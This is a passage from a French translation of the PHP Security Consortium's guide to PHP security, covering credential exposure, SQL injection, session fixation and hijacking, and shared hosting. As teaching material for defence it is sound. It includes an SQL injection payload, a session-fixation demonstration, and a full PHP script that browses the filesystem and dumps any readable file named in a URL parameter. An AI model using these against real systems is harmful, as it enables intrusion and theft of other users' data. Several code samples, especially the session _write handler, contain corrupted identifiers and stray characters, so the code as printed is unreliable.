Combinez ceci avec le fait que la plupart des serveurs web traitent les fichiers `.inc` comme du simple texte (plaintext), et le risque d'exposer vos autorisations d'accès devrait apparaître clairement. Un problème plus important est que le code source de ces modules peut être exposé, mais les autorisations d'accès sont particulièrement sensibles.

Bien entendu, placer tous les modules en-dehors de la racine web est une solution simple, et c'est une bonne façon de faire. Les instructions `include` et `require` acceptent toutes deux les chemins d'accès (path) vers le système de fichier. Il n'est donc pas indispensable de rendre les modules accessibles via un URL : c'est un risque inutile.

Si vous ne pouvez pas choisir l'emplacement de vos modules et qu'ils doivent se trouver sous la racine web, vous pouvez placer quelque chose de ce genre dans votre fichier `httpd.conf` (en supposant un serveur Apache):

```
<Files ~ "\.inc$">
    Order allow,deny
    Deny from all
</Files>
```

Ce n'est pas une bonne idée de laisser le moteur PHP traiter vos modules. Ceci inclut le fait de renommer de vos modules pour qu'ils prennent l'extension `.php`, ainsi que d'utiliser la directive `AddType` pour traiter les fichiers `.inc` comme des fichiers PHP. Exécuter du code en-dehors de son contexte peut s'avérer très dangereux, parce que ce n'est pas prévu et que cela peut engendrer des résultats inconnus. Cependant, si vos modules ne sont que des affectations de variables (par exemple), ce risque particulier est atténué.

Ma méthode préférée pour protéger les autorisations d'accès aux bases de données est décrite dans le livre PHP Cookbook (éditions O'Reilly), par David Sklar et Adam Trachtenberg. Créez un fichier `/path/to/secret-stuff` que seul `root` peut lire (et pas `nobody`):

```
SetEnv DB_USER "myuser"
SetEnv DB_PASS "mypass"
```

Incluez ce fichier dans `httpd.conf` de cette manière:

```
Include "/path/to/secret-stuff"
```

Désormais, vous pouvez utiliser `$_SERVER['DB_USER']` et `$_SERVER['DB_PASS']` dans votre code. Non seulement vous ne devrez plus écrire vos noms d'utilisateurs et mots de passe dans vos scripts, mais de plus le serveur web ne pourra pas lire le fichier `secret-stuff`, de sorte qu'aucun autre utilisateur ne pourra rédiger de script pour lire vos autorisations d'accès (quel que soit le langage de programmation). Il faut simplement être attentif à ne pas exposer ces variables à cause de quelque chose comme `phpinfo()` ou `print_r($_SERVER)`.

Injection de code SQL

Il ext extrêmement simple de se défendre contre les attaques par injection de code SQL, mais de nombreuses applications sont toujours vulnérables. Considérez la requête SQL suivante:

```
<?php

$sql = "INSERT
        INTO   users (reg_username,
                      reg_password,
                      reg_email)
        VALUES ('{$_POST['reg_username']}',
                '$reg_password',
                '{$_POST['reg_email']}')";

?>
```

Cette requête est bâtie sur `$_POST`, ce qui devrait paraître immédiatement suspect.

Supposez que cette requête crée un nouveau compte utilisateur (account). L'utilisateur fournit les noms d'utilisateur et adresse mail qu'il souhaite. L'application d'enregistrement crée un mot de passe temporaire, puis l'envoie par mail à l'utilisateur, pour vérifier son adresse mail. Imaginez que l'utilisateur entre ceci comme nom d'utilisateur:

```
bad_guy', 'mypass', ''), ('good_guy
```

Ceci ne ressemble certainement pas à un nom d'utilisateur valide, mais l'application ne peut pas s'en rendre compte sans mise en place d'un filtrage des données. Si l'adresse mail fournie est valide (`shiflett@php.net`, par exemple), et que l'application génère `1234` comme mot de passe, alors la requête SQL devient ceci:

```
<?php

$sql = "INSERT
        INTO   users (reg_username,
```

```
                    reg_password,
                    reg_email)
        VALUES ('bad_guy', 'mypass', ''), ('good_guy',
                '1234',
                'shiflett@php.net')";
?>
```

Plutôt que de procéder comme prévu à la création d'un seul compte utilisateur (`good_guy`) avec une adresse mail valide, l'application s'est fait avoir, a créé deux comptes utilisateur, et l'utilisateur a fourni tous les détails du compte `bad_guy`.

Bien que cet exemple particulier puisse ne pas sembler très dangereux, il devrait être clair que des choses pires pourraient arriver si un attaquant peut modifier vos requêtes SQL.

Par exemple, en fonction de la base de données que vous utilisez, il pourrait être possible d'envoyer en un seul appel plusieurs requêtes au serveur de bases de données. Donc, un utilisateur pourrait éventuellement terminer une requête existante par un point-virgule et la continuer avec une requête de son choix.

Jusque récemment, MySQL ne permettait pas les requêtes multiples, et ce risque particulier était amoindri. Les dernières versions de MySQL permettent les requêtes multiples, mais l'extension PHP correspondante (`ext/mysqli`) vous oblige à utiliser une fonction particulière si vous voulez envoyer des requêtes multiples (`mysqli_multi_query()` au lieu de `mysqli_query()`). Ne permettre que les requêtes simples est plus sûr, puisque ça limite ce qu'un attaquant pourrait faire.

Il est facile de se protéger contre les injections de SQL:

- Filtrez vos données.

  On ne saurait trop insister. Une fois un bon filtrage de données en place, la plupart des soucis de sécurité sont réduits, et certains sont pratiquement éliminés.

- Placez vos données entre apostrophes.

  Si votre base de données le permet (c'est le cas de MySQL), entourez par des apostrophes toutes les valeurs dans vos requêtes SQL, quel que soit leur type de donnée.

- Utilisez des séquences d'échappement pour vos données.

  Parfois, des données valides peuvent interférer involontairement avec le format même des requêtes SQL. Utilisez `mysql_escape_string()` ou une fonction d'échappement native à votre base de données particulière. S'il n'en existe spécifiquement aucune, la fonction `addslashes()` est un bon dernier recours.

Guide de Sécurité PHP: Les sessions

Fixation de session

La sécurité des sessions est un sujet sophistiqué, et il n'est pas surprenant que les sessions constituent fréquemment une cible d'attaque. La plupart des attaques de session impliquent une usurpation d'identité (impersonation), par laquelle l'attaquant tente d'accéder à la session d'un autre utilisateur pour se faire passer pour cet utilisateur.

L'élément d'information le plus décisif pour un attaquant est l'identifiant de session, parce qu'il est indispensable pour toute attaque par usurpation d'identité. Il existe trois méthodes communément utilisées pour obtenir un identifiant de session valide:

- Prédiction
- Capture
- Fixation

La prédiction se rapporte au fait de deviner un identifiant de session valide. Avec le mécanisme natif des sessions PHP, l'identifiant de session est extrêmement aléatoire, et il est très improbable que ceci constitue le point le plus faible de votre implémentation.

Capturer un identifiant de session valide est le type d'attaque de session le plus répandu, et il existe de nombreuses approches pour ce faire. Puisque les identifiants de session sont typiquement propagés via les cookies ou les variables `GET`, les différentes approches se concentrent sur les attaques contre ces méthodes de transfert. Malgré l'existence de quelques failles concernant les cookies dans les navigateurs, elles étaient principalement le fait d'Internet Explorer. Et les cookies sont légèrement moins exposés que les variables GET. Donc, vous pouvez fournir aux utilisateurs qui acceptent les cookies un mécanisme plus sécurisé, en utilisant un cookie pour propager l'identifiant de session.

La fixation est la méthode la plus simple pour obtenir un identifiant de session valide. Même s'il n'est pas très difficile de se défendre contre cela, vous êtes vulnérables si votre gestion de session ne consiste en rien de plus que `session_start()`.

Pour montrer une fixation de session, je vais utiliser le script suivant, `session.php`:

```
<?php
session_start();

if (!isset($_SESSION['visits']))
{
    $_SESSION['visits'] = 1;
}
else
{
    $_SESSION['visits']++;
}

echo $_SESSION['visits'];
?>
```

A la première visite de cette page, vous devriez voir affiché le nombre `1` à l'écran. Lors des visites suivantes, ce nombre

devrait augmenter pour refléter le nombre de fois que vous avez visité la page.

Pour démontrer la fixation de session, assurez-vous d'abord que vous n'avez pas d'identifiant de session existant (effacez peut-être vos cookies). Ensuite, visitez cette page en ajoutant `?PHPSESSID=1234` à l'URL. Ensuite, avec un navigateur complètement différent (ou même un ordinateur complètement différent), visitez à nouveau le même URL, avec `?PHPSESSID=1234` ajouté à la fin. Vous vous apercevrez que vous ne verrez pas affiché le nombre `1` lors de votre première visite, mais que vous continuez plutôt la session initiée précédemment.

Pourquoi cela peut-il être problématique? La plupart des attaques par fixation de session utilisent simplement un lien ou une redirection (au niveau du protocole) pour envoyer l'utilisateur sur un site distant avec un identifiant de session ajouté à l'URL. L'utilisateur ne s'en apercevra probablement pas, puisque le site se comportera exactement comme avant. Puisque l'attaquant a choisi l'identifiant de session, ce dernier est déjà connu, et peut être utilisé pour lancer un attaque d'usurpation d'identité (impersonation), telle qu'un détournement de session (session hijacking).

Il est assez facile d'empêcher une attaque aussi simpliste que celle-ci. S'il n'existe aucune session active associée à l'identifiant de session présenté par l'utilisateur, alors regénérez-le, juste pour être certain.

```php
<?php

session_start();

if (!isset($_SESSION['initiated']))
{
    session_regenerate_id();
    $_SESSION['initiated'] = true;
}

?>
```

Le problème d'une défense si simpliste est qu'un attaquant peut simplement initier une session pour un identifiant de session particulier, et ensuite utiliser cet identifiant pour lancer l'attaque.

Pour vous protéger contre ce type d'attaque, considérer d'abord que le détournement de session n'est véritablement utile qu'une fois que l'utilisateur s'est logué ou a obtenu un niveau plus élevé de privilèges. Ainsi, si l'on modifie l'approche, pour regénérer un identifiant de session chaque fois que le niveau de privilège change (par exemple, après avoir vérifié le nom d'utilisateur et le mot de passe), nous aurons pratiquement éliminé le risque d'une attaque réussie par fixation de session.

Détournement de session

Le détournement de session, que l'on peut soutenir comme la plus répandue des attaques de session, se rapporte à toutes les attaques visant à accéder à la session d'un autre utilisateur.

Comme pour la fixation de session, vous êtes vulnérable si votre gestion de session consiste simplement en `session_start()`, bien qu'exploiter cela ne soit pas aussi simple.

Plutôt que de se concentrer sur la manière d'empêcher que l'identifiant de session ne soit capturé, je vais me concentrer sur la manière de rendre une telle capture moins problématique. Le but est de compliquer l'usurpation d'identité (impersonation), puisque chaque complication augmente le niveau de sécurité. A cet effet, nous allons examiner les étapes nécessaires à la réussite d'un détournement de session. Dans chaque scénario, nous supposerons que l'identifiant de session a été compromis.

Avec une gestion de session des plus simplistes, la réussite d'un détournement de session ne nécessite qu'un

identifiant de session valide. Pour améliorer cela, nous devons savoir s'il existe quelque chose de plus dans la requête HTTP que nous pourrions utiliser pour une identification supplémentaire.

Note

Il n'est pas raisonnable de se fier à quoi que ce soit au niveau TCP/IP, par exemple l'adresse IP, car ce sont des protocoles de niveau plus bas, non destinés à satisfaire des activités se déroulant au niveau de HTTP. Un seul utilisateur est susceptible d'avoir une IP différente à chaque requête, et plusieurs utilisateurs pourraient avoir la même adresse IP.

Rappelez-vous une requête HTTP typique:

```
GET / HTTP/1.1
Host: example.org
User-Agent: Mozilla/5.0 Gecko
Accept: text/xml, image/png, image/jpeg, image/gif, */*
Cookie: PHPSESSID=1234
```

Seul l'en-tête `Host` est requis par `HTTP/1.1`. Il semble donc déraisonnable de se fier à quoi que ce soit d'autre. Cependant, la cohérence est vraiment tout ce dont nous avons besoin, puisque nous sommes seulement intéressés à compliquer l'usurpation d'identité, sans affecter défavorablement les utilisateurs légitimes.

Imaginez que la requête précédente soit suivie par une requête avec un `User-Agent` différent :

```
GET / HTTP/1.1
Host: example.org
User-Agent: Mozilla Compatible (MSIE)
Accept: text/xml, image/png, image/jpeg, image/gif, */*
Cookie: PHPSESSID=1234
```

Même si le même cookie est présenté, devrait-on supposer qu'il s'agit du même utilisateur? Il semble très improbable qu'un navigateur change son en-tête `User-Agent` entre deux requêtes. Correct, non? Modifions la gestion de session pour effectuer une vérification supplémentaire:

```php
<?php

session_start();

if (isset($_SESSION['HTTP_USER_AGENT']))
{
    if ($_SESSION['HTTP_USER_AGENT'] != md5($_SERVER['HTTP_USER_AGENT']))
    {
        /* Prompt for password */
        exit;
    }
}
else
```

```
{
    $_SESSION['HTTP_USER_AGENT'] = md5($_SERVER['HTTP_USER_AGENT']);
}

?>
```

Désormais, l'attaquant doit non seulement présenter un identifiant de session valide, mais aussi l'en-tête `User-Agent` correct, associé à la session. Ceci complique légèrement les choses, et est par conséquent un peu plus sécurisé.

Pourrait-on améliorer cela? Considérez que la méthode la plus répandue pour obtenir les valeurs d'un cookie est d'exploiter une vulnérabilité d'un navigateur comme Internet Explorer. Ces exploits impliquent que la victime visite un site de l'attaquant, et donc l'attaquant sera capable d'obtenir l'en-tête `User-Agent` correct.

Imaginez que nous forcions l'utilisateur à passer le hash MD5 du `User-Agent` à chaque requête. L'attaquant ne pourrait plus simplement recréer les en-têtes que contiennent les requêtes de la victime, mais il serait également nécessaire de passer cette petite information supplémentaire. Bien qu'il ne soit pas trop difficile de deviner la construction de cet élément (token) particulier, nous pouvons compliquer ce travail d'estimation en ajoutant simplement un petit peu de hasard à la manière dont nous construisons l'élément (token):

```
<?php

$string = $_SERVER['HTTP_USER_AGENT'];
$string .= 'SHIFLETT';

/* Add any other data that is consistent */

$fingerprint = md5($string);

?>
```

En gardant à l'esprit que nous passons l'identifiant de session dans un cookie, ce qui requiert déjà qu'une attaque ait été utilisée pour compromettre ce cookie (et vraisemblablement toutes les en-têtes HTTP également), nous devrions passer cette empreinte (fingerprint) dans une variable d'URL. Celle-ci devrait se trouver dans toutes les URLs, comme s'il s'agissait de l'identifiant de session, car les deux devraient être requis pour que la session se poursuive automatiquement (en plus de réussir toutes les vérifications).

Pour s'assurer que les utilisateurs légitimes ne soient pas traités comme des criminels, demandez simplement un mot de passe si une vérification échoue. Si une erreur dans votre mécanisme suspecte erronément un utilisateur d'une attaque par usurpation d'identité, demander un mot de passe avant de poursuivre est la manière la moins offensante de gérer la situation. En réalité, vos utilisateurs apprécieront peut-être la petite protection supplémentaire mise en évidence par une telle requête.

Il existe de nombreuses méthodes différentes que vous pouvez utiliser pour compliquer l'usurpation d'identité et protéger vos applications des détournements de session. J'espère que vous ferez au-moins quelque chose de plus que `session_start()`, et que vous serez capables d'émettre vos propres idées. Rappelez-vous simplement de rendre les choses difficiles aux méchants (bad guys), mais simples pour les gentils (good guys).

Note

Certains experts affirment que l'en-tête `User-Agent` n'est pas assez cohérent pour être utilisé de la manière décrite. L'argument est qu'un proxy HTTP dans un cluster peut modifier l'en-tête `User-Agent` de manière non cohérente avec les autres proxies du même cluster. Bien que je n'aie jamais observé cela moi-même (et sois à l'aise en me fiant à la cohérence de `User-Agent`), c'est quelque chose que vous pourriez vouloir envisager.

L'en-tête `Accept` a été connu pour changer de requête en requête dans Internet Explorer (selon que l'utilisateur rafraîchit ou non son navigateur). Ainsi, on ne devrait pas compter dessus pour la cohérence.

Guide de Sécurité PHP: Hôtes partagés (Shared Hosts)

Données de session exposées

Sur un hôte partagé, la sécurité ne sera simplement pas aussi forte que sur un serveur dédié. C'est l'un des inconvénients de la redevance bon marché (inexpensive fee).

Un aspect particulièrement vulnérable du hosting partagé est d'avoir un stockage de session (session store) partagé. Par défaut, PHP stocke les données de session dans `/tmp`, et c'est vrai pour tout le monde. Vous trouverez que la plupart des personnes se tiennent aux comportement par défaut pour beaucoup de choses, et les sessions ne font pas exception. Heureusement, tout le monde ne peut pas lire les fichiers de session, car ils ne sont lisibles que par le serveur web:

```
$ ls /tmp
total 12
-rw-------  1  nobody  nobody  123 May 21 12:34 sess_dc8417803c0f12c5b2e39477dc371462
-rw-------  1  nobody  nobody  123 May 21 12:34 sess_46c83b9ae5e506b8ceb6c37dc9a3f66e
-rw-------  1  nobody  nobody  123 May 21 12:34 sess_9c57839c6c7a6ebd1cb45f7569d1ccfc
$
```

Malheureusement, il est assez trivial de rédiger un script PHP pour lire ces fichiers, et puisqu'il tourne sous l'utilisateur `nobody` (ou tout utilisateur sous lequel tourne le serveur web) web), il possède les privilèges nécessaires.

La directive `safe_mode` peut empêcher cela et d'autres soucis similaires de sécurité. Mais vu qu'elle ne s'applique qu'à PHP, elle ne s'attaque pas à la cause à l'origine du problème. Les attaquants peuvent simplement employer d'autres langages.

Quelle serait une meilleure solution? N'utilisez pas le même stockage de session que tous les autres. De préférence, stockez-le dans une base de données dont les autorisations d'accès sont propres à votre compte utilisateur (account). Pour cela, utilisez simplement la fonction `session_set_save_handler()` pour écraser la gestion de session par défaut de PHP par vos propres fonctions PHP.

Le code suivant montre un exemple simpliste pour stocker les sessions dans une base de données:

```php
<?php

session_set_save_handler('_open',
                         '_close',
                         '_read',
                         '_write',
                         '_destroy',
                         '_clean');



function _open()
{
  global $_sess_db;
```

```
  $db_user = $_SERVER['DB_USER'];
  $db_pass = $_SERVER['DB_PASS'];
  $db_host = 'localhost';

  if ($_sess_db = mysql_connect($db_host, $db_user, $db_pass))
  {
    return mysql_select_db('sessions', $_sess_db);
  }

  return FALSE;
}

function _close()
{
  global $_sess_db;

  return mysql_close($_sess_db);
}

function _read($id)
{
  global $_sess_db;

  $id = mysql_real_escape_string($id);

  $sql = "SELECT data
          FROM   sessions
          WHERE  id = '$id'";

  if ($result = mysql_query($sql, $_sess_db))
  {
    if (mysql_num_rows($result))
    {
      $record = mysql_fetch_assoc($result);

      return $record['data'];
    }
  }

  return '';
}

function _write($id, $data)
{
  global $_sess_db;

  $access = time();

  $id = mysql_real_escape_string($id);
  $access = mysql_real_escape_string($access);
  $data = mysql_real_escape_strin ($data);

  $sql = "REPLACE
          INTO    sessions
          VALUES  ('$id', '$acces ', '$data')";g
```

```
  return mysql_query($sql, $_sess_db);
}

function _destroy($id)
{
  global $_sess_db;

  $id = mysql_real_escape_string($id);

  $sql = "DELETE
          FROM   sessions
          WHERE id = '$id'";

  return mysql_query($sql, $_sess_db);
}

function _clean($max)
{
  global $_sess_db;

  $old = time() - $max;
  $old = mysql_real_escape_string($old);

  $sql = "DELETE
          FROM   sessions
          WHERE  access < '$old'";

  return mysql_query($sql, $_sess_db);
}

?>
```

Ceci requiert une table existante nommée `sessions`, dont le format est le suivant:

```
mysql> DESCRIBE sessions;
+--------+------------------+------+-----+---------+-------+
| Field  | Type             | Null | Key | Default | Extra |
+--------+------------------+------+-----+---------+-------+
| id     | varchar(32)      |      | PRI |         |       |
| access | int(10) unsigned | YES  |     | NULL    |       |
| data   | text             | YES  |     | NULL    |       |
+--------+------------------+------+-----+---------+-------+
```

Cette base de données peut être créée en MySQL avec la syntaxe suivante:

```
CREATE TABLE sessions
(
    id varchar(32) NOT NULL,
    access int(10) unsigned,
    data text,
    PRIMARY KEY (id)
);
```

Stocker vos sessions dans une base de données place la confiance dans la sécurité de votre base de données. Rappelez-vous des leçons apprises lorsque nous parlions des bases de données et de SQL, car elles s'appliquent ici.

Naviguer dans le système de fichiers

Juste pour le fun, regardons un script qui navigue dans le système de fichier:

```
<?php

echo "<pre>\n";

if (ini_get('safe_mode'))
{
    echo "[safe_mode enabled]\n\n";
}
else
{
    echo "[safe_mode disabled]\n\n";
}


if (isset($_GET['dir']))
{
    ls($_GET['dir']);
}
elseif (isset($_GET['file']))
{
    cat($_GET['file']);
}
else
{
    ls('/');
}

echo "</pre>\n";

function ls($dir)
{
    $handle = dir($dir);

    while ($filename = $handle->read())
    {
        $size = filesize("$dir$filename");

        if (is_dir("$dir$filename"))
        {
            if (is_readable("$dir$filename"))
            {
                $line = str_pad($size, 15);
                $line .= "<a href=\"{$_SERVER['PHP_SE LF']}?dir=$dir$filename/\">$filename/</a>";
            }
            else
            {
                $line = str_pad($size, 15);
```

```
                $line .= "$filename/";
            }
        }
        else
        {
            if (is_readable("$dir$filename"))
            {
                $line = str_pad($size, 15);
                $line .= "<a href=\"{$_SERVER['PHP_SELF']}?file=$dir$filename\">$filename</a>";
            }
            else
            {
                $line = str_pad($size, 15);
                $line .= $filename;
            }
        }

        echo "$line\n";
    }

    $handle->close();
}

function cat($file)
{
    ob_start();
    readfile($file);
    $contents = ob_get_contents();
    ob_clean();
    echo htmlentities($contents);

    return true;
}

?>
```

La directive `safe_mode` peut empêcher ce script particulier de fonctionner, mais que dire d'un script rédigé dans un autre langage?

Une bonne solution consiste à stocker les données sensibles dans une base de données et d'utiliser la technique mentionnée plus tôt (où `$_SERVER['DB_USER']` et `$_SERVER['DB_PASS']` contiennent les autorisations d'accès) pour protéger vos autorisations d'accès à la base de données.

La meilleure solution est d'utiliser un serveur dédié.

Guide de Sécurité PHP: A propos de

A propos de ce Guide

Le Guide de Sécurité PHP (PHP Security Guide) est un projet du Consortium de Sécurité PHP (PHP Security Consortium). Vous pouvez toujours trouver la dernière version du guide sur http://phpsec.org/projects/guide/.

A propos de cette traduction

Cette traduction en français est maintenue par Christophe Chisogne. Vous pouvez toujours trouver la dernière version française du guide sur http://phpsec.org/projects/guide/fr/.

A propos du Consortium de Sécurité PHP (PHP Security Consortium)

La mission du Consortium de Sécurité PHP (PHP Security Consortium, PHPSC) est de promouvoir les méthodes de programmation sécurisée dans la communauté PHP, à travers de l'éducation et des exposés, tout en maintenant un haut niveau éthique.

Apprenez plus à propos du Consortium sur http://phpsec.org/.

Plus d'information

Pour plus d'informations sur les méthodes de sécurité PHP, visitez la bibliothèque du Consortium de Sécurité PHP (PHP Security Consortium Library) sur http://phpsec.org/library/.